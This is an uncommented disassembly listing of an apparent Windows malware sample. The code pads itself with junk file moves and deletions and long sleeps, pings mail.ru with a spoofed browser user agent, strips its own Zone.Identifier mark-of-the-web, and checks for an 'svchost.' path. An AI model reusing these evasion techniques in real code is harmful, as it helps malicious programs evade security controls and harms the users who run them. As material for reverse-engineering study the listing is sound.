call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x108c], eax
cmp dword [ebp - 0x108c], 0
je 0x403eee
push str.3r3rq3r33r3rq3r33r3rq3r33r3rq3r3
push str.wgg4gwg4wgw4w4gw4gw4g4wghw4h
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0x1f40
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.nw55n5nww5n5nww5nw5n5n5n5n
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.2uu5uii55i5i25i52i5ii2525i5i25i
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_87.0.4280.88_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x10b0], eax
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp dword [ebp - 0x10b0], 0
je 0x403b2b
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
push 0
push 0
push 0
push str.http:__www.mail.ru_
mov ecx, dword [ebp - 0x10b0]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x10a4], eax
cmp dword [ebp - 0x10a4], 0
je 0x403b13
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x10a4]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x10b0]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push str.2uu5uii55i5i25i52i5ii2525i5i25i
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x403b67
push str.3r3rq3r33r3rq3r33r3rq3r33r3rq3r3
push str.wgg4gwg4wgw4w4gw4gw4g4wghw4h
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push str.2uu5uii55i5i25i52i5ii2525i5i25i
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0
push str.3ru38ur8u3yu38uy38uy3ur
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x10a0], eax
cmp dword [ebp - 0x10a0], 0
je 0x403bb2
push 0
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
push str.3r3rq3r33r3rq3r33r3rq3r33r3rq3r3
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push str.3r3rq3r33r3rq3r33r3rq3r33r3rq3r3
push str.wgg4gwg4wgw4w4gw4gw4g4wghw4h
call dword [sym.imp.KERNEL32.dll_MoveFileA]
mov ecx, dword [ebp - 0x108c]
push ecx
call dword [sym.imp.USER32.dll_CloseWindow]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
push str.3r3rq3r33r3rq3r33r3rq3r33r3rq3r3
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 1
mov edx, dword [ebp - 0x108c]
push edx
call dword [sym.imp.USER32.dll_ShowWindow]
push str.3r3rq3r33r3rq3r33r3rq3r33r3rq3r3
push str.wgg4gwg4wgw4w4gw4gw4g4wghw4h
call dword [sym.imp.KERNEL32.dll_MoveFileA]
mov eax, dword [ebp - 0x108c]
push eax
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x108c]
push ecx
call dword [sym.imp.USER32.dll_SetFocus]
mov dword [ebp - 0x10b8], 0x5a
mov dword [ebp - 0x10a8], 0x32
mov edx, dword [ebp - 0x10b8]
add edx, dword [ebp - 0x10a8]
mov dword [ebp - 0x10b4], edx
cmp dword [ebp - 0x10b4], 0x2710
jge 0x403e20
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
push str.3r3rq3r33r3rq3r33r3rq3r33r3rq3r3
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0
push str.2uu5uii55i5i25i52i5ii2525i5i25i
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x10bc], eax
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_87.0.4280.88_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x10b0], eax
cmp dword [ebp - 0x10b0], 0
je 0x403d0b
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0
push str.http:__www.mail.ru_
mov eax, dword [ebp - 0x10b0]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x10a4], eax
cmp dword [ebp - 0x10a4], 0
je 0x403cf6
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.3r3rq3r33r3rq3r33r3rq3r33r3rq3r3
push str.wgg4gwg4wgw4w4gw4gw4g4wghw4h
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push str.wgg4gwg4wgw4w4gw4gw4g4wghw4h
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.nw55n5nww5n5nww5nw5n5n5n5n
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_MoveFileW]
mov ecx, dword [ebp - 0x10a4]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x10b0]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x10bc], 0
je 0x403e20
mov eax, dword [ebp - 0x10bc]
push eax
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.3r3rq3r33r3rq3r33r3rq3r33r3rq3r3
push str.wgg4gwg4wgw4w4gw4gw4g4wghw4h
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0
mov ecx, dword [ebp - 0x10bc]
push ecx
call dword [sym.imp.USER32.dll_ShowWindow]
push str.nw55n5nww5n5nww5nw5n5n5n5n
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0xdac
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_87.0.4280.88_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x10b0], eax
cmp dword [ebp - 0x10b0], 0
je 0x403e13
push 0
push 0
push 0
push 0
push str.http:__www.mail.ru_
mov edx, dword [ebp - 0x10b0]
push edx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x10a4], eax
cmp dword [ebp - 0x10a4], 0
je 0x403dd8
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
push str.3r3rq3r33r3rq3r33r3rq3r33r3rq3r3
call dword [sym.imp.KERNEL32.dll_MoveFileA]
mov eax, dword [ebp - 0x10a4]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.3r3rq3r33r3rq3r33r3rq3r33r3rq3r3
push str.wgg4gwg4wgw4w4gw4gw4g4wghw4h
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push str.3rm3mrk3kmr3mrl3mrm3mr3lmmrl3m
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x10b0]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [ebp - 0x10ac], 0x15f90
mov dword [ebp - 0x109c], 0x190
mov edx, dword [ebp - 0x10ac]
cmp edx, dword [ebp - 0x109c]
jbe 0x403e8a
push 0
push str.3r3rq3r33r3rq3r33r3rq3r33r3rq3r3
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x10c0], eax
cmp dword [ebp - 0x10c0], 0
je 0x403e88
push str.3r3rq3r33r3rq3r33r3rq3r33r3rq3r3
push str.wgg4gwg4wgw4w4gw4gw4g4wghw4h
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [ebp - 0x109c]
add eax, 1
mov dword [ebp - 0x109c], eax
jmp 0x403e34
mov dword [ebp - 0x10c4], 0
jmp 0x403ea5
mov ecx, dword [ebp - 0x10c4]
add ecx, 1
mov dword [ebp - 0x10c4], ecx
cmp dword [ebp - 0x10c4], 0x2328
jge 0x403eee
push str.3r3rq3r33r3rq3r33r3rq3r33r3rq3r3
push str.wgg4gwg4wgw4w4gw4gw4g4wghw4h
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push str.3r3rq3r33r3rq3r33r3rq3r33r3rq3r3
push str.wgg4gwg4wgw4w4gw4gw4g4wghw4h
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
push str.3r3rq3r33r3rq3r33r3rq3r33r3rq3r3
call dword [sym.imp.KERNEL32.dll_MoveFileA]
jmp 0x403e96
mov edx, dword [ebp - 0x510]
add edx, 1
mov dword [ebp - 0x510], edx
jmp 0x40390a
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x208
lea eax, [ebp - 0x758]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.004016e0
push 0
push 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
lea ecx, [ebp - 0x758]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov dword [ebp - 0xd60], eax
lea edx, [ebp - 0x758]
push edx
push str._ls:Zone.Identifier
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call sub.MSVCRT.dll_srand
add esp, 4
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.svchost.
lea edx, [ebp - 0x758]
push edx
call fcn.004055e0
add esp, 8
test eax, eax
jne 0x404fc4
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x510], 0
mov dword [ebp - 0xa30], 0x2346
mov eax, dword [ebp - 0x510]
cmp eax, dword [ebp - 0xa30]
jae 0x4044a0
push 0
push str.3r3rq3r33r3rq3r33r3rq3r33r3rq3r3
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x10c8], eax
cmp dword [ebp - 0x10c8], 0
je 0x40448c
push str.3r3rq3r33r3rq3r33r3rq3r33r3rq3r3
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x1770
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.2uu5uii55i5i25i52i5ii2525i5i25i
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x404051
push str.3r3rq3r33r3rq3r33r3rq3r33r3rq3r3
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.2uu5uii55i5i25i52i5ii2525i5i25i
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push str.3r3rq3r33r3rq3r33r3rq3r33r3rq3r3
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
push str.3ru38ur8u3yu38uy38uy3ur
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x10d0], eax
cmp dword [ebp - 0x10d0], 0
je 0x4040e4
push str.2uu5uii55i5i25i52i5ii2525i5i25i
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 1
mov ecx, dword [ebp - 0x10c8]
push ecx
call dword [sym.imp.USER32.dll_ShowWindow]
push 1
mov edx, dword [ebp - 0x10c8]
push edx
call dword [sym.imp.USER32.dll_ShowWindow]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
push str.nw55n5nww5n5nww5nw5n5n5n5n
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0
mov eax, dword [ebp - 0x10c8]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
push str.3r3rq3r33r3rq3r33r3rq3r33r3rq3r3
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ecx, dword [ebp - 0x10c8]
push ecx
call dword [sym.imp.USER32.dll_CloseWindow]
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_87.0.4280.88_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x10e0], eax
cmp dword [ebp - 0x10e0], 0
je 0x404168
push 0
push 0
push 0
push 0
push str.http:__www.mail.ru_
mov edx, dword [ebp - 0x10e0]
push edx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x10d4], eax
cmp dword [ebp - 0x10d4], 0
je 0x404150
push str.3r3rq3r33r3rq3r33r3rq3r33r3rq3r3
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x9c40
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [ebp - 0x10d4]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x10e0]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
mov edx, dword [ebp - 0x10c8]
push edx
call dword [sym.imp.USER32.dll_ShowWindow]
push str.3r3rq3r33r3rq3r33r3rq3r33r3rq3r3
push str.wgg4gwg4wgw4w4gw4gw4g4wghw4h
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0
mov eax, dword [ebp - 0x10c8]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x10c8]
push ecx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov edx, dword [ebp - 0x10c8]
push edx
call dword [sym.imp.USER32.dll_SetFocus]
mov eax, dword [ebp - 0x10c8]
push eax
call dword [sym.imp.USER32.dll_CloseWindow]
mov dword [ebp - 0x10e8], 0x22
mov dword [ebp - 0x10d8], 0x3c
mov ecx, dword [ebp - 0x10e8]
add ecx, dword [ebp - 0x10d8]
mov dword [ebp - 0x10e4], ecx
cmp dword [ebp - 0x10e4], 0x1f4
jge 0x4043ee
push str.3r3rq3r33r3rq3r33r3rq3r33r3rq3r3
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
push str.2uu5uii55i5i25i52i5ii2525i5i25i
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x10ec], eax
push str.3r3rq3r33r3rq3r33r3rq3r33r3rq3r3
push str.wgg4gwg4wgw4w4gw4gw4g4wghw4h
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_87.0.4280.88_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x10e0], eax
cmp dword [ebp - 0x10e0], 0
je 0x4042d0
push 0
push 0
push 0
push 0
push str.http:__www.mail.ru_
mov edx, dword [ebp - 0x10e0]
push edx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x10d4], eax
cmp dword [ebp - 0x10d4], 0
je 0x4042bb
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.3ru38ur8u3yu38uy38uy3ur
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [ebp - 0x10d4]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x10e0]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x10ec], 0
je 0x4043ee
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x10ec]
push edx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push str.3r3rq3r33r3rq3r33r3rq3r33r3rq3r3
push str.wgg4gwg4wgw4w4gw4gw4g4wghw4h
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0
mov eax, dword [ebp - 0x10ec]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push str.3ru38ur8u3yu38uy38uy3ur
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x1194
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_87.0.4280.88_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x10e0], eax
cmp dword [ebp - 0x10e0], 0
je 0x4043d6
push 0
push 0
push 0
push 0
push str.http:__www.mail.ru_
mov ecx, dword [ebp - 0x10e0]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x10d4], eax
cmp dword [ebp - 0x10d4], 0
je 0x4043be
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.wgg4gwg4wgw4w4gw4gw4g4wghw4h
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.3r3rq3r33r3rq3r33r3rq3r33r3rq3r3
push str.wgg4gwg4wgw4w4gw4gw4g4wghw4h
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push str.3r3rq3r33r3rq3r33r3rq3r33r3rq3r3
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edx, dword [ebp - 0x10d4]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x10e0]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push str.wgg4gwg4wgw4w4gw4gw4g4wghw4h
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [ebp - 0x10dc], 0x1770
mov dword [ebp - 0x10cc], 0x8fc
mov ecx, dword [ebp - 0x10dc]
cmp ecx, dword [ebp - 0x10cc]
jbe 0x404448
push 0
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x10f0], eax
cmp dword [ebp - 0x10f0], 0
je 0x404446
push str.2uu5uii55i5i25i52i5ii2525i5i25i
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edx, dword [ebp - 0x10cc]
add edx, 1
mov dword [ebp - 0x10cc], edx
jmp 0x404402
mov dword [ebp - 0x10f4], 0
jmp 0x404463
mov eax, dword [ebp - 0x10f4]
add eax, 1
mov dword [ebp - 0x10f4], eax
cmp dword [ebp - 0x10f4], 0x1388
jge 0x40448c
push str.3r3rq3r33r3rq3r33r3rq3r33r3rq3r3
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
push str.3r3rq3r33r3rq3r33r3rq3r33r3rq3r3
call dword [sym.imp.KERNEL32.dll_MoveFileA]
jmp 0x404454
mov ecx, dword [ebp - 0x510]
add ecx, 1
mov dword [ebp - 0x510], ecx
jmp 0x403fc9
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x10f8], 0
jmp 0x4044c6
mov edx, dword [ebp - 0x10f8]
add edx, 1
mov dword [ebp - 0x10f8], edx
cmp dword [ebp - 0x10f8], 3
jae 0x404fc4
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x510], 0
mov dword [ebp - 0xa30], 0x236e
mov eax, dword [ebp - 0x510]
cmp eax, dword [ebp - 0xa30]
jae 0x404d32
push 0
push str.wgg4gwg4wgw4w4gw4gw4g4wghw4h
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x10fc], eax
cmp dword [ebp - 0x10fc], 0
je 0x404bee
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.3r3rq3r33r3rq3r33r3rq3r33r3rq3r3
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.3r3rq3r33r3rq3r33r3rq3r33r3rq3r3
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.3r3rq3r33r3rq3r33r3rq3r33r3rq3r3
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_MoveFileW]
mov dword [ebp - 0x1120], 0
jmp 0x404586
mov ecx, dword [ebp - 0x1120]
add ecx, 1
mov dword [ebp - 0x1120], ecx
cmp dword [ebp - 0x1120], 0x190
jge 0x4045d5
push 0xfa0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.nw55n5nww5n5nww5nw5n5n5n5n
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
push str.nw55n5nww5n5nww5nw5n5n5n5n
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0xfa0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.3r3rq3r33r3rq3r33r3rq3r33r3rq3r3
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x404577
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x1770
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.nw55n5nww5n5nww5nw5n5n5n5n
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_87.0.4280.88_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x1114], eax
push str.3rm3mrk3kmr3mrl3mrm3mr3lmmrl3m
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
cmp dword [ebp - 0x1114], 0
je 0x40473a
push str.nw55n5nww5n5nww5nw5n5n5n5n
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.3rm3mrk3kmr3mrl3mrm3mr3lmmrl3m
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x1770
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
push 0
push 0
push 0
push str.http:__www.mail.ru_
mov edx, dword [ebp - 0x1114]
push edx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x1108], eax
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x1108], 0
je 0x404722
mov dword [ebp - 0x1124], 0
jmp 0x4046d8
mov eax, dword [ebp - 0x1124]
add eax, 1
mov dword [ebp - 0x1124], eax
cmp dword [ebp - 0x1124], 0x190
jge 0x404722
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.nw55n5nww5n5nww5nw5n5n5n5n
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0xfa0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.3r3rq3r33r3rq3r33r3rq3r33r3rq3r3
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x4046c9
mov ecx, dword [ebp - 0x1108]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov edx, dword [ebp - 0x1114]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push str.3r3rq3r33r3rq3r33r3rq3r33r3rq3r3
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [ebp - 0x10fc]
push eax
call dword [sym.imp.USER32.dll_SetForegroundWindow]
mov ecx, dword [ebp - 0x10fc]
push ecx
call dword [sym.imp.USER32.dll_SetFocus]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
push str.nw55n5nww5n5nww5nw5n5n5n5n
call dword [sym.imp.KERNEL32.dll_MoveFileW]
mov edx, dword [ebp - 0x10fc]
push edx
call dword [sym.imp.USER32.dll_CloseWindow]
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
push str.3r3rq3r33r3rq3r33r3rq3r33r3rq3r3
call dword [sym.imp.KERNEL32.dll_MoveFileA]
mov dword [ebp - 0x111c], 0x58
mov dword [ebp - 0x110c], 0x42
mov eax, dword [ebp - 0x111c]
add eax, dword [ebp - 0x110c]
mov dword [ebp - 0x1118], eax
cmp dword [ebp - 0x1118], 0x1f4
jge 0x404a03
push str.nw55n5nww5n5nww5nw5n5n5n5n
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
push str.nw55n5nww5n5nww5nw5n5n5n5n
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0
push str.2uu5uii55i5i25i52i5ii2525i5i25i
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x1128], eax
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_87.0.4280.88_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x1114], eax
cmp dword [ebp - 0x1114], 0
je 0x4048e1
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.nw55n5nww5n5nww5nw5n5n5n5n
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0
push 0
push 0
push 0
push str.http:__www.mail.ru_
mov ecx, dword [ebp - 0x1114]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x1108], eax
cmp dword [ebp - 0x1108], 0
je 0x4048c9
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.3r3rq3r33r3rq3r33r3rq3r33r3rq3r3
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.nw55n5nww5n5nww5nw5n5n5n5n
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0xfa0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
